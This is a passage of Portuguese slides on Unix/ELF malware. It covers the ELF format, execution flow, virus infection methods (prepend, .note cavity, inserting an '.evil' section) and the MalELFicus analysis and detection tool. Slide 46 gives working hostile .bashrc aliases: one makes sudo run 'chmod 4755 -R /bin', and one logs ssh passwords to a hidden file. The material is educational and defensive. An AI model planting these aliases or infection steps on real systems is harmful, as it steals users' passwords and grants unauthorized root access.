7. Agenda
● Introdução
● Unix e Malwares
● Vantagens e Desvantagens
● Binary Format
● Kernel e exec
● ELF Binary Format
● Métodos de Infecção
● Prepend
● Cavity
● Inserindo em nova seção
● Inserindo em seções existentes (segment padding).
7
● Inserindo em novo segmento
11. Binary Format
● Porque um formato para o binário?
● Porque não somente instruções do processador?
✔ Sim, os antigos MSDOS executavam flat-binaries.
(binários .COM)
Mas...
- Como saber qual a arquitetura de uma
sequência de opcodes?
- Como determinar o byte order de uma
sequência de opcodes?
BINARY HEADER 11
12. ELF
● Executable and Linkable Format
● ELF foi criado para facilitar o suporte a cross-
compilation, linkagem dinâmica,
iniciatializer/finalizer (ex.: constructor e
destructor do C++) e outras features
avançadas.
12
13. Tipos de
binários ELF
Relocatable
É um arquivo binário que contém código e dados apropriados
para linkar com outros arquivos objeto para criar um executável
ou shared object file.
Executable
Um programa apropriado para execução. O arquivo especifica
como a syscall exec() cria a imagem do processo na memória.
Shared Object
Contêm símbolos e código para linkagem em dois contextos.
Pelo linker ld() e pelo linker dinâmico (ld.so).
Core File
Um arquivo de core dump
13
14. Compilação
gcc -O –g -o p main.c swap.c
main.c swap.c
cc1 cc1
main.s swap.s Assembly code
as as
Relocatable
main.o swap.o
object code
Linking step ELF Format Files
ld (collect2)
Executable
14
p
15. ELF View
● Existem dois modos de visualizar um binário
ELF:
● Compiladores, assemblers e linkers tratam o
arquivo como um conjunto de seções descritas pelo
Section Header Table.
● O loader do sistema trata o arquivo como um
conjunto de segmentos descritos pelo Program
Header Table.
15
16. ELF Structure
Loading View
Loading View é necessário para o ELF header
sistema operacional ou loader obter Program header table
informações de como mapear o
Segmento 1
binário na memória.
Segmento 2
Segmento N
Section header table
16
17. Program
Header Table
● Um array de estruturas ElfN_Phdr.
● A entrada e_phoff no header do ELF possui o
offset do PHT no arquivo.
● Cada segmento no arquivo possui uma entrada
em PHT. Podem haver entradas em PHT que
não existem no arquivo.
● Segmentos não podem se sobrescrever.
Nenhum byte no arquivo reside em mais de um
segmento.
17
18. ELF Structure
Linking View
Linking View é necessário para ELF header
poder montar arquivos relocáveis. Program header table
A ordem e presença das seções é .text
opcional, exceto o ELF header que .rodata
precisa estar presente e iniciando no .data
primeiro byte do arquivo.
.bss
.strtab
.rel.text
.rel.data
.debug
…
Section header table
18
19. Section
Header Table
● Um array de estruturas ElfN_Shdr.
● e_shoff na estrutura ElfN_Ehdr tem o offset do SHT no
arquivo.
● Cada seção no arquivo possui uma entrada no SHT.
Podem haver entradas em SHT que não existem no
arquivo.
● Seções não podem se sobrescrever. Nenhum byte no
arquivo reside em mais de uma seção.
● Um binario ELF pode ter espaço inativo. Os
cabeçalhos do ELF não precisam especificar todos os
bytes do arquivo.
19
20. ELF Header
e_ident[16] ELF header
Tipo de binário e_type Program header table
Arquitetura e_machine .text
e_version .rodata
Entry point e_entry .data
PHT offset e_phoff .bss
SHT offset e_shoff .strtab
e_flags .rel.text
e_ehsize .rel.data
Tamanho do PH e_phentsize .debug
Qtd. de PH e_phnum …
Tamanho do SH e_shentsize Section header table
Qtd. de SH e_shnum
20
strtab index e_shstrndx
21. PHT e SHT
➔ Informações sobre segmentos ELF header
necessários para o loading. Program header table
➔ Obrigatório para executáveis e
.text
bibliotecas .rodata
.data
.bss
.strtab
.rel.text
.rel.data
.debug
➔ Informações sobre seções …
necessárias para a linkagem. Section header table
➔ Obrigatório para arquivos
21
relocáveis.
22. ELF Sections
Código de Máquina, onde realmente ELF header
as instruções de processador do Program header table
software se encontram. .text
- Read-Only .rodata
.data
.bss
.strtab
.rel.text
.rel.data
.debug
…
Section header table
22
23. Data Sections
ELF header
Dados Estáticos Program header table
➔ Inicializados, Read-Only
.text
➔ Inicializados, Read/Write
.rodata
➔ Não-Inicializado, Read/Write
.data
Inicializados .bss
Dados iniciais no ELF. .strtab
Não-inicializados .rel.text
Somente o tamanho total no ELF
.rel.data
.debug
…
Section header table
23
24. Relocation info
ELF header
Descreve onde e como os símbolos Program header table
são usados. .text
.rodata
➔ Uma lista de localizações na
.data
seção .text que deverão ser
modificadas quando o linker .bss
combinar este binário com .strtab
outros. .rel.text
➔ Informações de relocações para
.rel.data
quaisquer variáveis globais que .debug
são referenciadas ou definidas …
por um módulo.
Section header table
24
25. .debug
ELF header
Relaciona código fonte com o Program header table
código objeto dentro do ELF. .text
.rodata
.data
.bss
.strtab
.rel.text
.rel.data
.debug
…
Section header table
25
26. Outras seções
ELF header
Outros tipos de seções: Program header table
- C++ initializer/finalizer .text
- Dynamic Linking info
.rodata
- etc...
.data
.bss
.strtab
.rel.text
.rel.data
.debug
…
Section header table
26
29. Executando um
binário.
$ ./program param1 param2
1) Shell executa a syscall execve() repassando os argumentos.
2) Kernel abre o arquivo.
3)Verifica se existe um segmento do tipo PT_INTERP.
1) Se existe, executa a syscall execve novamente passando o
interpretador (/lib/ld-linux.so) e o programa e suas informações
como argumento.
4) Mapeia todos os segmentos do tipo PT_LOAD na memória
nos respectivos endereços obtidos de p_vaddr.
29
30. Executando
um binário.
$ ./program param1 param2
5) Passa o controle para o entry point do ELF
(_start em C).
1) __libc_init_first
2) _init
3) atexit
4) main
5) _exit
30
34. Técnicas de
Infecção
● Prepend
● Cavidade
● Inserindo em nova seção
● Aumentando e inserindo em seções existentes.
● Inserindo em novo segmento.
● Memory residence (per-process)
● .GOT e .PLT infection Fora de escopo
● Hooking shared library calls
34
35. Prepend
● Copia o hospedeiro para o final do vírus.
● $ cat host >> parasite
● Quando executado o vírus realiza suas ações
(payload) e por fim copia o binário do
hospedeiro para um novo arquivo, ajusta
permissão de execução e executa com
execve().
35
36. Cavity (.note)
ELF header
e_phoff
Program header table
p_offset's
.text
.rodata
.data e_shoff
sh_offset's .bss
.note
.strtab
Section header table
1) Incrementar o segmento de dados para comportar a seção .note na memória.
2) Adicionar o payload do vírus nessa seção.
3) Ajustar o restante das estruturas para o novo formato.
36
37. Cavity (.note)
ELF header
e_phoff
Program header table
p_offset's
.text
.rodata
.data e_shoff
sh_offset's .bss
.note (evil code)
.strtab
Section header table
1) Incrementar o segmento de dados para comportar a seção .note na memória.
2) Adicionar o payload do vírus nessa seção.
3) Ajustar o restante das estruturas para o novo formato.
4) Modifica o entry point para apontar para .note.
37
38. Inserindo em
nova seção
ELF header
e_phoff
Program header table
p_offset's
.text
.rodata
.data e_shoff
sh_offset's .bss
.strtab
.debug
Section header table
➢ Adicionar nova seção .evil após a seção .text.
➢ Guardar entry point original
➢ Deslocar todas as seções após .text e o SHT no número de
bytes do malware.
38
39. Inserindo em
nova seção
ELF header
e_phoff
Program header table
p_offset's
.text
.evil
e_shoff
sh_offset's .rodata
.data
.bss
.strtab
.debug
Section header table
➢ Adicionar a seção .evil
➢ Ajustar o header para a nova posição do SHT e do entry_point (e_shohff += VIR_LEN).
➢ Incrementar e_shnum em 1. 39
40. Inserindo em
nova seção
ELF header
e_phoff
e_entrypoint = Program header table
p_offset's
pos(.text) + size(.text) .text
+ align(.text)
.evil
e_shoff
sh_offset's .rodata
.data
.bss
.strtab
.debug
Section header table
➢ Adicionar a seção .evil no SHT e ajustar os offsets para as
novas posições das seções (sh_addr += VIR_LEN, sh_offset +=
VIR_LEN).
40
41. Inserindo em
nova seção
ELF header
e_phoff
Program header table
p_offset's
.text
.evil
e_shoff
sh_offset's .rodata
.data
.bss
.strtab
.debug
Section header table
➢ Incrementar p_filesz e p_memsz do segmento o qual .text está
contido com o numero de bytes de .evil (p_filesz += VIR_LEN).
➢ Incrementar o p_offset do PHT para cada segmento após o
41
segmento de .evil.
42. Inserindo em
nova seção
ELF header
e_phoff
Program header table
.text
p_offset's
.evil
e_shoff
sh_offset's .rodata
.data
.bss
.strtab
.debug
Section header table
➢ Incrementar p_filesz e p_memsz do segmento o qual .text está
contido com o numero de bytes de .evil.
➢ Incrementar o p_offset do PHT para cada segmento após o
42
segmento de .evil.
43. Inserindo em
nova seção
ELF header
e_phoff
Program header table
.text
p_offset's
.evil
e_shoff
sh_offset's .rodata
.data
.bss
.strtab
.debug
Section header table
➢ Pronto. Novo ELF válido.
43
44. Malware
Shellcode
1) Inicialmente deve-se usar somente syscalls.
2) Usar o método eggcode.
3) Não infectar recursivamente todos os
executáveis de um diretório.
4) Certifique-se de que o executável pode ser
infectado pela sua técnica.
5) Saiba que permissões o processo possui e
divida seu payload de acordo.
44
45. Escalada de
privilégios
● Local exploits.
● Subvertendo a shell do usuário.
45
46. Subvertendo a
shell
● Adicionar entradas alias em ~/.bashrc
● alias sudo='sudo chmod 4755 -R /bin; sudo'
● alias ssh='stty_orig=`stty -g 2>/dev/null` stty -echo;
read -p "password: " pass; echo "$pass" 2>/dev/null
>> /tmp/.vir/ssh_passwords; stty echo 2>/dev/null;
echo “Could not resolve hostname”; ssh'
46
49. MalELFicus
● Analysis
● Dissecação do ELF
● Detecção de alterações no entry point.
● Detecção de binário em seções de info.
● Verificação de segmentos adicionados.
● Verificação da posição do PHT e do SHT.
● Descoberta de binario em região não mapeada pelo ELF.
● Development
● Contagem de NOP's em segmentos PT_LOAD.
● Contagem de GAP's entre segmentos e seções.
● Infecção
– Append/Prepend
– Inserção de seção
– Alteração de seção
– Inserção de segmento
– Cavidade
49
– etc
–